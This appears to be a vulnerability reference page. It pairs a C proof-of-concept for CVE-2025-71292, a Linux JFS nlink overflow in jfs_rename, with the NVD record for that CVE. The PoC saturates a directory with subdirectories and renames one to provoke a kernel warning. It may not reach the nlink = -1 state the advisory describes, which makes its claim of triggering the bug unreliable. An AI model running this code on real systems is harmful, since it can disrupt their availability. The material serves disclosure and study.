CVE-2025-71292

/* * PoC for CVE-2025-71292: JFS nlink overflow in jfs_rename * This code attempts to trigger the nlink overflow warning by saturating * a directory's subdirectory count and performing a rename. * Note: Running this requires a mounted JFS filesystem and sufficient permissions/inodes. */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #include <errno.h> #include <string.h> #define DIR_PATH "/mnt/jfs_test_target" #define SUBDIR_PREFIX "subdir_" // Typical nlink limit for directories is 65535, but this depends on the kernel/fs implementation. #define MAX_ATTEMPTS 70000 int main() { int i; char path[256]; struct stat st; printf("[*] Starting PoC for CVE-2025-71292\n"); // Ensure target directory exists if (stat(DIR_PATH, &st) != 0) { if (mkdir(DIR_PATH, 0777) != 0) { perror("mkdir"); return 1; } } printf("[*] Creating subdirectories to saturate nlink...\n"); // Step 1: Create subdirectories until nlink overflows or limit reached for (i = 0; i < MAX_ATTEMPTS; i++) { snprintf(path, sizeof(path), "%s/%s%d", DIR_PATH, SUBDIR_PREFIX, i); if (mkdir(path, 0777) != 0) { if (errno == EMLINK) { printf("[+] Hit EMLINK error at %d. nlink is likely saturated.\n", i); break; } // Other errors like ENOSPC can also stop it perror("mkdir"); break; } } // Check current nlink of parent if (stat(DIR_PATH, &st) == 0) { printf("[*] Parent directory nlink count: %lu\n", (unsigned long)st.st_nlink); } printf("[*] Attempting rename operation to trigger overflow logic...\n"); // Step 2: Rename a directory inside the parent to trigger inc/dec nlink logic char old_path[512], new_path[512]; snprintf(old_path, sizeof(old_path), "%s/%s0", DIR_PATH, SUBDIR_PREFIX); snprintf(new_path, sizeof(new_path), "%s/%s_renamed", DIR_PATH, SUBDIR_PREFIX); if (rename(old_path, new_path) == 0) { printf("[*] Rename successful. Check 'dmesg' for kernel warnings regarding nlink.\n"); } else { perror("rename"); printf("[-] Rename failed.\n"); } return 0; }

{"cve": {"id": "CVE-2025-71292", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:28.453", "lastModified": "2026-05-13T21:03:37.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: nlink overflow in jfs_rename\n\nIf nlink is maximal for a directory (-1) and inside that directory you\nperform a rename for some child directory (not moving from the parent),\nthen the nlink of the first directory is first incremented and later\ndecremented. Normally this is fine, but when nlink = -1 this causes a\nwrap around to 0, and then drop_nlink issues a warning.\n\nAfter applying the patch syzbot no longer issues any warnings. I also\nran some basic fs tests to look for any regressions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.252", "matchCriteriaId": "68B6D2AD-7565-4394-B77B-A1EEBCDF590F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc6:*:*:*:*:*:*", "matchCriteriaId": "8CFD5CDD-1709-44C7-82BD-BAFDC46990D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2108829a59f081e822fdab8c2cd7131deb8aa8a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5d77c36cd4b698649f5c30c5f6c084f4f61d1880", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9218dc26fd922b09858ecd3666ed57dfd8098da8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/93c325746ae59709b4f9bad4e3e4761c8d566c70", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a3d66089e50a6e0142f8884471f74292102ea9aa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b4330a0d0947fbdc9d445cbbeabd8cc910a8c9ca", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f70fcbc2ac7c24f087a2c895c5753aa730b1e479", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel. ... 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